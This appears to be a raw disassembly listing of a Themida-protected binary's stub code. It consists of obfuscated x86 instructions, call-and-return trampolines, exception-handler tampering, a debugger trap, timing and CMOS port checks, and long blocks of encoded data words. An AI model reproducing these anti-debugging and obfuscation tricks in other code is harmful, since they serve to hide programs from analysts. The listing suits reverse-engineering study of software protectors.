add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
push dword ptr [esp]
pop eax
add esp, 4
jmp loc_5517CE
; ---------------------------------------------------------------------------
dw 3FD7h
dd 22E4506Bh, 0ADE0EB51h, 0AC84F7B8h, 0FFC50306h, 0C2984AE0h
dd 0E3A07749h, 0F580BE63h, 1EDD6E4Eh, 7B559627h, 0C9FDC639h
dd 93A76C16h, 0A4D62B68h, 421CC657h, 79A46F2Eh, 85858D0Fh
dd 6A06A833h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 16042444h, 40000000h, 4A48C350h, 8B6650DEh, 240489FBh
dd 9963BF66h, 0FE9006Ah, 82000000h, 6DD22492h, 3D0EE036h
dd 7F9AE827h, 6A016Dh, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 18h, 0D5C35141h, 7E2E3EA4h, 87B1858Dh, 0F78106ACh
dd 20CF566h, 6A05C083h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 16042444h, 46000000h, 90BCC356h, 0D98B6677h
dd 52506090h, 310F5250h, 310F585Ah, 310F5250h, 585A585Ah
dd 0F525053h, 5B585A31h, 0FE85061h, 8E000000h, 0CE921CC5h
dd 0D8409E25h, 8FF3D9D7h, 53BF7596h, 5B654F17h, 35BD8B90h
dd 6A06A82Eh, 0EB816600h, 6AE492h, 1BA1BD89h, 95FF06A8h
dd 6A82541h, 6E08BF66h, 8C7F8D8Dh, 6A06ABh, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 0AD14EAC3h
dd 58619B11h, 0CE9F40Fh, 22000000h, 4D363072h, 8B01D306h
dd 60C3F75Eh, 66FABF0Fh, 0A1CCF781h, 81D1FF61h, 0E0DDBEC3h
dd 9DBD834Dh, 106A833h, 8C850Fh, 6A0000h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 190424h, 55450000h, 0A7D144C3h
dd 0F92AD8BDh, 6A026Ah, 3E850h, 58200000h, 448958C3h, 44810424h
dd 160424h, 50400000h, 0A81467C3h, 0E9A8D780h, 0Bh, 31F21421h
dd 9A29E047h, 50C95086h, 89DF8B66h, 6A2404h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 170424h, 51410000h, 5AE759C3h
dd 5D8501BCh, 0FF06A830h, 0A81E1D95h, 0C7816606h, 9E99904h
dd 0E800000Eh, 0
; ---------------------------------------------------------------------------
pop ebp
sub ebp, 6AC87BBh
push 0
push ebx
call sub_5921DA
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5921DA proc near ; CODE XREF: Themida_:005921D2p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Dh
inc ebx
push ebx
retn
sub_5921DA endp
; ---------------------------------------------------------------------------
or al, 51h
lodsd
int 3 ; Trap to Debugger
idiv byte ptr [edi]
mov al, 8Fh
or eax, 0D88B66ACh
jmp loc_592205
; ---------------------------------------------------------------------------
adc ah, bh
push ebp
pop es
mov edi, 0BBF471E9h
loc_592205: ; CODE XREF: Themida_:005921F7j
lea eax, [ebp+6AB7E2Eh]
push esi
or bh, 58h
pop ebx
nop
jmp loc_59221B
; ---------------------------------------------------------------------------
dec ebp
rol byte ptr [ebx+0], 6Fh
loc_59221B: ; CODE XREF: Themida_:00592211j
push eax
jmp loc_59222B
; ---------------------------------------------------------------------------
add ds:6D439BCBh, eax
jge short locret_592266
adc al, 0EEh
loc_59222B: ; CODE XREF: Themida_:0059221Cj
nop
pusha
mov [ebp+6A829BDh], edi
jz near ptr loc_592240+4
call near ptr loc_592240+3
mov ah, 0E1h
loc_592240: ; CODE XREF: Themida_:00592239p
; Themida_:00592233j
or eax, 6158015Eh
push large dword ptr fs:0
push 0
push edx
call sub_592257
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_592257 proc near ; CODE XREF: Themida_:0059224Fp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 16h
inc edx
push edx
locret_592266: ; CODE XREF: Themida_:00592227j
retn
sub_592257 endp
; ---------------------------------------------------------------------------
mov cl, 0FAh
sbb [eax-75h], edx
popf
and eax, 5F06A801h
adc bh, 7Fh
mov large fs:0, esp
push 0
push esi
call sub_592287
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_592287 proc near ; CODE XREF: Themida_:0059227Fp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Bh
inc esi
push esi
retn
sub_592287 endp
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
fdivr qword ptr [ecx-2704200Bh]
or [ecx-57E08E73h], cl
push es
inc dword ptr [ebp+6A833F1h]
push 0
push ecx
call sub_5922B6
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5922B6 proc near ; CODE XREF: Themida_:005922AEp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Bh
inc ecx
push ecx
retn
sub_5922B6 endp
; ---------------------------------------------------------------------------
dec eax
dec ebp
pop eax
imul ebp, [ebx+6A152925h], -1
push 0
push ebp
call sub_5922DB
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5922DB proc near ; CODE XREF: Themida_:005922D3p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 14h
inc ebp
push ebp
retn
sub_5922DB endp
; ---------------------------------------------------------------------------
db 6Dh
; ---------------------------------------------------------------------------
mov edi, edx
push dword ptr [ebp+6A81535h]
push 0
push eax
call sub_5922FF
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5922FF proc near ; CODE XREF: Themida_:005922F7p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Ah
inc eax
push eax
retn
sub_5922FF endp
; ---------------------------------------------------------------------------
imul edx, [ebx+647E7BCh], 75h
movzx edi, si
mov [ebp+6A80FF1h], ecx
call dword ptr [ebp+6A82A7Dh]
jmp loc_592421
; ---------------------------------------------------------------------------
sub [ebp+6A800B1h], edx
mov al, 0
jmp loc_592340
; ---------------------------------------------------------------------------
db 0Ch
dd 0FE015C1Ah, 95F33FAFh
; ---------------------------------------------------------------------------
loc_592340: ; CODE XREF: Themida_:00592332j
out 70h, al ; CMOS Memory:
; used by real-time clock
cld
in al, 71h ; CMOS Memory
clc
mov bh, 0B7h
cmp al, 61h
jnb loc_592421
mov [ebp+6A83191h], ecx
mov edi, [ebp+6A82FB1h]
movzx ecx, al
mov di, cx
mov edx, 6
mov ebx, [ebp+6A829B1h]
mov eax, ecx
mov [ebp+6A81D85h], edi
shr eax, 4
mov [ebp+6A824E5h], edx
mul dx
sub ecx, eax
mov [ebp+6A80E09h], esi
mov edx, ecx
sub [ebp+6A815DDh], esi
jmp loc_59239C
; ---------------------------------------------------------------------------
mov [ebp+6A808E5h], edi
loc_59239C: ; CODE XREF: Themida_:00592391j
mov eax, [ebp+6A82F45h]
jmp loc_5923AE
; ---------------------------------------------------------------------------
push eax
lds ebp, [esi+62D77B8Ah]
loc_5923AE: ; CODE XREF: Themida_:005923A2j
add eax, 7
jmp loc_5923CA
; ---------------------------------------------------------------------------
dw 0D6E1h
dd 8E72E8CFh, 0EE59DA6Dh, 0B77CEBEDh, 0B8D00638h
db 7Bh, 2Dh
; ---------------------------------------------------------------------------
loc_5923CA: ; CODE XREF: Themida_:005923B1j
add eax, 0
mov [ebp+6A81F05h], eax
cmp edx, eax
jnb loc_5923EE
push esi
xor [ebp+6A80FEDh], eax
pop edi
jmp loc_592421
; ---------------------------------------------------------------------------
mov edi, [ebp+6A816F1h]
loc_5923EE: ; CODE XREF: Themida_:005923D5j
mov ecx, [ebp+6A8259Dh]
mov [ebp+6A81675h], edi
and ecx, 1
jz loc_592421
add [ebp+6A82B85h], esi
and dword ptr [ebp+6A8259Dh], 0FFFFFFFEh
mov [ebp+6A82F45h], edx
mov [ebp+6A81EBDh], ebx
jmp $+5
loc_592421: ; CODE XREF: Themida_:00592325j
; Themida_:0059234Aj ...
lea esi, [ebp+6ABF073h]
push 0
push esi
call sub_592432
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_592432 proc near ; CODE XREF: Themida_:0059242Ap
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 15h
inc esi
push esi
retn
sub_592432 endp
; ---------------------------------------------------------------------------
push ss
sbb eax, [eax+6A2BCFh]
call dword ptr [ebp+6A81B31h]
pusha
adc bx, 6C63h
jmp loc_59246B
; ---------------------------------------------------------------------------
dw 424h
dd 74B6D8E9h, 0AF535337h, 8AA5B87Ah
; ---------------------------------------------------------------------------
and [eax-7Ch], bl
loc_59246B: ; CODE XREF: Themida_:00592455j
popa
mov ecx, 860h
mov edi, [ebp+6A82FCDh]
and ecx, 0FFFFFFFCh
push 0
push edx
call sub_592485
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_592485 proc near ; CODE XREF: Themida_:0059247Dp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 14h
inc edx
push edx
retn
sub_592485 endp
; ---------------------------------------------------------------------------
db 69h, 0E9h, 7
dd 0A4000000h, 1CE31A9Dh, 0FFC8F50h, 0B8FBBFh, 0E8000000h
dd 13h, 79356584h, 310AC5E4h, 8A321DCFh, 8554FF7h, 666FE882h
dd 2B5FFE8Bh, 0FE8B66D2h, 0D1C233ADh, 83D003E8h, 0F47504E9h
dd 14B5BD8Bh, 12E806A8h, 0BE000000h, 0B7CBF74h, 0B82C153Ah
dd 82691097h, 0F4F5AC3Fh, 0CEBB661Fh, 860F5BA6h, 3, 0DDAB70Fh
dd 88h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h
dd 0E7C35646h, 0CEDEBBE4h, 958B63CEh, 6A805B9h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 19h, 50C35040h, 94679A40h
dd 4DBD017Ah, 8B06A827h, 698D8BD9h, 0B706A814h, 0C28B501Bh
dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 8958188Bh, 0A805DD95h
dd 0F8BF0F06h, 0CA18D89h, 0BD8306A8h, 6A80C91h, 68840F00h
dd 89000000h, 0A826498Dh, 0B806h, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 160424h, 53430000h, 3A0AE4C3h
dd 1765BD8Bh, 8D8D06A8h, 6A84FAFh, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Dh, 6BC35545h, 0A7538BC4h, 0A8277DDFh
dd 0FE1FFA2h, 68Bh, 0B1858900h, 8306A833h, 0A80BBDBDh
dd 840F0006h, 414h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Ah, 0AEC35646h, 204B0B7Bh, 0BD8B0393h, 6A83235h
dd 0BBDBD83h, 0F0106A8h, 3FA84h, 31958900h, 8B06A809h
dd 0A832E99Dh, 0BDBD8306h, 306A80Bh, 3AB860Fh, 5FBF0000h
dd 6060C5A7h, 6AD98C66h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 16042444h, 41000000h, 0FAC4C351h, 7E9BEh
dd 0D28D0000h, 0ED49311Ch, 4E1800Ch, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Ah, 7AC35545h, 0AA72EC15h, 85892F3Bh
dd 6A80E65h, 840FC90Ah, 131h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Ah, 48C35646h, 57BE3E34h, 858B1B21h
dd 6A80BE1h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 14h, 2C35646h, 14E8h, 313E5100h, 103329DBh, 0DBD7CA15h
dd 22E07A47h, 0D6C10AF5h, 0E7BB666Fh, 85335FBBh, 6A81D5Dh
dd 50F8B70Fh, 48986B7h, 9E824h, 29710000h, 0E9F991F9h
dd 0FBEF2FBh, 684h, 0C1953100h, 5B06A831h, 0B501006Ah
dd 6A81589h, 9668F88Ah, 50FE804Bh, 4DE1BF52h, 310F68B1h
dd 585ADA8Bh, 69240481h, 0F9019EB8h, 74195FFh, 0BF6606A8h
dd 0AE99AECh, 0CF000000h, 4CDCADA1h, 55A33045h, 27858904h
dd 6A06ABA2h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1A042444h, 45000000h, 0B40BC355h, 0D4ED4122h, 0F1B58903h
dd 0F06A831h, 0F8Dh, 0AE900h, 0A8F20000h, 0C26B2147h, 0A1DDB2A0h
dd 1E3E9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1804h, 0C3514100h, 3B09EEFDh, 1F858B84h, 6A06ABA2h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h
dd 41000000h, 0BADC351h, 89F97C55h, 0A8258585h, 1800C706h
dd 8B000000h, 0A81491BDh, 23B58B06h, 6A06ABA2h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
dd 4E2AC357h, 8BE5087Eh, 0A82B7D85h, 55006A06h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 7E316BAEh
dd 0EE989h, 3E460000h, 857FC258h, 10B2252Ah, 789A837Ah
dd 0BFD88B66h, 55A6EEA8h, 6A0689h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 170424h, 56460000h, 7E90EDC3h, 3BE781DAh
dd 8B2C116Ah, 0A80BE185h, 53006A06h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 0FCA4A3B1h
dd 66044689h, 50C18BBFh, 7E95250h, 0D000000h, 0CE7E1C51h
dd 310FB639h, 2820Fh, 61600000h, 3489585Ah, 0F1BD2B24h
dd 8106A824h, 0C9E16DF7h, 1FB5FF5Ch, 0F06ABA2h, 5268DABFh
dd 8AE5D588h, 240481FCh, 1A497BADh, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Dh, 88C35545h, 0BE41B53Bh, 0CDC6D70h
dd 0B9BD8B22h, 8D06A82Fh, 0ABA22785h, 51006A06h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h
dd 4ACAF671h, 0BD49E1D8h, 0BF0FB29Ah, 0BE850FAh, 7000000h
dd 63FBA866h, 2DD4F7D9h, 0DE88A9Fh, 34000000h, 0C620F8DEh
dd 40226D46h, 8597D33Ch, 4895F5Fh, 5BD8B24h, 0FF06A80Fh
dd 0A8074195h, 0DAB70F06h, 0CD9D2361h, 0C706A816h, 0A80BBD85h
dd 306h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1604h, 0C3504000h, 294B8361h, 0A815418Dh, 27BD8306h
dd 6ABA2h, 0F840Fh, 81660000h, 0E92D34E3h, 20h, 0FA8B6653h
dd 0C30505Bh, 11440011h, 10E8C101h, 2114430h, 3114C00h
dd 4E98358h, 36EBE775h, 11043050h, 1116400h, 3010E8C1h
dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h
dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h
dd 0C08B00EBh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Ch, 0D8C35242h, 0EF843825h, 0B716DFBAh, 2F359D8Bh
dd 9D8B06A8h, 6A80675h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 14h, 83C35040h, 0BBDBD83h, 0F0306A8h, 50585h
dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h
dd 0C3504000h, 0E83EABCEh, 0Bh, 5E0B4067h, 55E2F277h, 5B60A34Dh
dd 0A227BD83h, 0F0006ABh, 4C984h, 0DD2BBF00h, 0B5FF7FE9h
dd 6ABA227h, 0C38166F8h, 95FFE18Dh, 6A815F9h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 19h, 6C35040h, 24C345F1h
dd 1BB58B2Dh, 6A06ABA2h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1B042444h, 43000000h, 707AC353h, 1FCFCE9h
dd 0E781049Eh, 2D8A10C7h, 106C7h, 6A0001h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 5149ADC3h
dd 433527C0h, 348950FCh, 53006A24h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1804h, 0C3534300h, 1461FF27h, 0A98589B2h
dd 0FF06A81Bh, 0ABA227B5h, 50006A06h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1404h, 0C3504000h, 0DA8B6604h
dd 0F598D89h, 95FF06A8h, 6A82199h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 18h, 0ACC35343h, 7BBEFAC4h, 21F59D0Bh
dd 9D8B06A8h, 6A82595h, 0A21BB58Bh, 7E906ABh, 86000000h
dd 0B8D62068h, 858B7811h, 6A80E41h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Ah, 6DC35747h, 0E95620E8h, 0BD0B80AAh
dd 6A83495h, 3C81E781h, 86893D8Ch, 0C4h, 0E856006Ah, 3
dd 5EC35E20h, 4247489h, 4244481h, 1Dh, 0BC35646h, 0AD11679Dh
dd 494ECF8Ch, 459D8BBCh, 8B06A81Bh, 0A805B995h, 55006A06h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h
dd 259589CDh
dd 8306A801h, 6A04C2h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 140424h, 55450000h, 8B6095C3h, 0CA8B66D0h, 0F133BB61h
dd 50895DCFh, 52006A20h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1B04h, 0C3524200h, 8986050Ah, 0B7CA755Dh, 11E9h, 35B62B00h
dd 3D16A50Ch, 3F65967Fh, 49A6F1E9h, 858D41C4h, 6ABB7CEh
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 44C35343h
dd 0B88689h, 0BD8B0000h, 6A830B5h, 6A006Ah, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 160424h, 53430000h, 904350C3h
dd 7E8h, 2DD88600h, 3A9F5D9Bh, 33F59D89h, 0FF5B06A8h, 0ABA227B5h
dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h
dd 0C3514100h, 800F31C4h, 5, 0A2F8CEBBh, 1D95FF33h, 8B06A81Eh
dd 0A8321D9Dh, 14E99606h, 0BF000000h, 0DF698791h, 912E5BCFh
dd 3A4B9540h, 0CA37D555h, 502241F1h, 69343ABBh, 6A9621h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
dd 0D25DD4C3h, 27B5FF8Ch, 8106ABA2h, 0D7047DEFh, 3880F06h
dd 66000000h, 95FFDE8Bh, 6A82A69h, 5352EB80h, 0D5953360h
dd 8906A805h, 0A83229BDh, 835F6106h, 0A82E3DBDh, 840F0006h
dd 73h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah
dd 43C35545h, 0AD0D7618h, 853114F0h, 6A80BD5h, 14850F96h
dd 0E9000000h, 0Fh, 8E55CD3Ch, 2874B18Eh, 0D40674B7h, 50CD17E2h
dd 0C942EABFh, 6A965Bh, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1B0424h, 50400000h, 0AAD27BC3h, 9A3F409Bh, 0A1B5893Ch
dd 0FF06A81Ah, 0ABA227B5h, 95FFF906h, 6A83185h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0F9C35747h, 983A5480h
dd 0C242FB19h, 1AD8D31h, 0B5FF06A8h, 6ABA227h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 1EC35141h, 0F5595FFh
dd 0BD8B06A8h, 6A81BA1h, 0BD836FB7h, 6A8077Dh, 82840F02h
dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 19042444h, 41000000h, 54B9C351h, 80BD1F2Dh, 0D19858Bh
dd 6A06A8h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
dd 52420000h, 358DD7C3h, 880F3D91h, 6, 31B99D2Bh, 0C606A8h
dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h
dd 0C3574700h, 0D0127FD9h, 0F6044D4h, 0B589D0BFh, 6A82559h
dd 0C185C761h, 6A80Dh, 6A000000h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0FEFEC352h
dd 0F64730Eh, 1BE9F8BFh, 0E8FFFFF3h, 8, 6309A631h, 0AB9EBE27h
dd 2FB98501h, 8B5F06A8h, 0FBB70FC1h, 3385858Dh, 0BE806A8h
dd 0A5000000h, 82013818h, 99C63DE7h, 8DB3F1DBh, 8B66905Fh
dd 525050D8h, 10E851h, 0F5B60000h, 1D195246h, 98FE002Ch
dd 3CC6669Dh, 5F5BFD79h, 8E8310Fh, 2000000h, 63E3EFA3h
dd 6005C581h, 585A5B61h, 1CBB6690h, 0E9006A52h, 0Bh, 0E580F0F9h
dd 6CE6052Ah, 6A88B34Bh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1D04h, 0C3524200h, 0D5CBDF45h, 0A55154CDh
dd 9D2B7899h, 6A81EC1h, 97E0858Dh, 6A06ACh, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 190424h, 52420000h, 0EEC460C3h
dd 564BEBB2h, 33A19529h, 605F06A8h, 0E9BD33F8h, 6106A829h
dd 6A05C083h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 19042444h, 41000000h, 863DC351h, 0B7531B71h, 68D0F60h
dd 0F000000h, 8Bh, 7D9D8B00h, 6106A826h, 14E850h, 72E80000h
dd 59DA6D8Eh, 7CEBEDEEh, 0D00638B7h, 0EC2D7BB8h, 0BB6695AAh
dd 895BA915h, 90B72404h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1A0424h, 51410000h, 5DB30EC3h, 28929EE7h
dd 0CB81006Ah, 1AB427CFh, 254195FFh, 6A06A8h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1C0424h, 50400000h, 0E09FA3C3h
dd 33A64BD1h, 0D88ACE27h, 8C7F8D8Dh, 6A06ABh, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1B0424h, 50400000h, 528BE5C3h
dd 82DE7EACh, 3820F6Eh, 80000000h, 0DB80CBF3h, 83D1FFA1h
dd 0A8339DBDh, 850F0106h, 61h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 18h, 89C35040h, 18588413h, 66C0BF66h
dd 0E8B3026Ah, 0FBBF6650h, 2404895Dh, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 16h, 0A3C35545h, 95FF0D83h, 6A81E1Dh
dd 8E9h, 0EAABBA00h, 0F26F6351h, 0E04E98Ah, 0E80000h, 5D000000h
dd 97EAED81h, 0C78006ACh, 50006AE1h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1D04h, 0C3504000h, 711B1F9Bh
dd 0D93A7796h, 858D2378h, 6AB7E2Eh, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 16h, 48C35646h, 9D2B2254h, 6A831DDh
dd 50515090h, 5A310F52h, 505F5F58h, 310F5250h, 0FE85250h
dd 0DF000000h, 74739E56h, 0A2B22F52h, 198926Eh, 0F5B82E2h
dd 5A585A31h, 6A9058h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1D0424h, 53430000h, 4BE1CAC3h, 0FACD4B16h, 0F9B7E90Dh
dd 5E8h, 59FAE00h, 0B589F1D9h, 6A8342Dh, 35FF645Fh, 0
; ---------------------------------------------------------------------------
push 0
push esi
call sub_5932C7
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5932C7 proc near ; CODE XREF: Themida_:005932BFp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Bh
inc esi
push esi
retn
sub_5932C7 endp
; ---------------------------------------------------------------------------
db 5Ah
dd 0CD03222Eh, 0F8AB6022h, 258964F9h, 0
; ---------------------------------------------------------------------------
mov [ebp+6A802D9h], eax
mov di, si
inc dword ptr [ebp+6A833F1h]
xor ebx, [ebp+6A832F5h]
push 0FFFFFFFFh
and ebx, 48C0C948h
push dword ptr [ebp+6A805FDh]
push 0
push eax
call sub_593316
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_593316 proc near ; CODE XREF: Themida_:0059330Ep
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 18h
inc eax
push eax
retn
sub_593316 endp
; ---------------------------------------------------------------------------
dw 0F976h
dd 66FD3B10h, 0FFF5FE8Bh, 0A82A7D95h, 14AE906h, 8B600000h
dd 0A81BA18Dh, 14E906h, 0EE380000h, 694F5B9Eh, 4BCC70D7h
dd 6C376753h, 709718CAh, 0B061960Ch, 0CE96000h, 0B0000000h
dd 2D798CB7h, 41340172h, 8B30148Fh, 0A83071BDh, 70E66106h
dd 71E4D88Bh, 1B3D9D29h, 613C06A8h, 0FA830Fh, 9D8B0000h
dd 6A826B1h, 89C8B60Fh, 0A806B1B5h, 6BA06h, 77BB0000h
dd 8B1CDB03h, 0C1DE8BC1h, 0DEBB04E8h, 66423012h, 2BF9E2F7h
dd 0F58D09C8h, 8B06A80Dh, 0F38166D1h, 7E9CA2Fh, 51000000h
dd 1366C6BFh, 858B5B64h, 6A83005h, 68D0Fh, 0BD8B0000h
dd 6A8166Dh, 8B07C083h, 0A834199Dh, 0C08306h, 7F9B529h
dd 0D03B06A8h, 27830Fh, 0B5290000h, 6A81F29h, 7FE9h, 13E800h
dd 53F70000h, 864DB613h, 5F7C001h, 9B973921h, 0ED9B5DBFh
dd 0FBB70F56h, 0ED8D8B5Bh, 6606A801h, 0E183FE8Bh, 51840F01h
dd 81000000h, 3D6391F3h, 10E84Dh, 8D050000h, 0A752DCEBh
dd 256D5BE4h, 0A661A1BBh, 5FFC3779h, 1EDA583h, 66FE06A8h
dd 89251BBBh, 0A8300595h, 7E806h, 90B10000h, 0FFA8DA92h
dd 0CE938h, 0D8E20000h, 53F3FD09h, 0B5EE514Fh, 0E95FB986h
dd 0
; ---------------------------------------------------------------------------
lea esi, [ebp+6ABFAE9h]
mov edi, ebx
push 0
mov edi, 109B4DD1h
call dword ptr [ebp+6A81B31h]
jz loc_5934A5
sub [ebp+6A83419h], ecx
loc_5934A5: ; CODE XREF: Themida_:00593499j
mov ecx, 86Fh
push 0
push ebx
call sub_5934B5
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5934B5 proc near ; CODE XREF: Themida_:005934ADp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Ah
inc ebx
push ebx
retn
sub_5934B5 endp
; ---------------------------------------------------------------------------
db 0DBh, 2 dup(3Ch)
dd 5C7BD98Fh, 202294BFh, 5FBF6603h, 0FCE183EBh, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0BDC35040h, 0C4F07D7Eh
dd 0CE97Eh, 307A0000h, 0EF8E244Eh, 4F86E3E4h, 6AFC1E6Ah
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1B042444h
dd 40000000h, 0EA03C350h, 43F608D9h, 2BF98DDEh, 53006AC0h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h
dd 90142F24h, 0BAh, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1C04h, 0C3514100h, 0F4216E0h, 0FF2EA1DEh
dd 0C233AD6Eh, 0D003E8D1h, 7504E983h, 53006AF4h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h
dd 20D3F7EEh, 7E97E0Bh, 41000000h, 81500EDDh, 0B58990B4h
dd 6A817C5h, 880Dh, 958BF800h, 6A805B9h, 28D0Fh, 0F0B70000h
dd 14698D8Bh, 0BB6606A8h, 8B50459Bh, 3188BC2h, 8B188BC1h
dd 3E8D1C1h, 58188BC2h, 1D85BD8Bh, 0BD8B06A8h, 6A81765h
dd 2B899D89h, 0BD8306A8h, 6A80C91h, 0A5840F00h, 6A000000h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h
dd 47000000h, 3A7FC357h, 0D0C50A11h, 0B8E8A1h, 6A000000h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h
dd 41000000h, 0AA02C351h, 0CDFFE3EBh, 0B98D89E6h, 2306A82Dh
dd 0A826319Dh, 0AF8D8D06h, 6A06A84Fh, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 8021C356h
dd 0E1FF5FE3h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Ah, 0EDC35343h, 5EE64707h, 0BD2B09A4h, 6A81A65h, 0BBDBD83h
dd 0F0006A8h, 48184h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1D04h, 0C3514100h, 5AFE47Bh, 0A39E46A9h
dd 13E9FDABh, 94000000h, 0CC0D2FD3h, 53F1CCD6h, 0A66C33A5h
dd 0DD60E45Eh, 0BD83F657h, 6A80BBDh, 52840F01h, 6A000004h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h
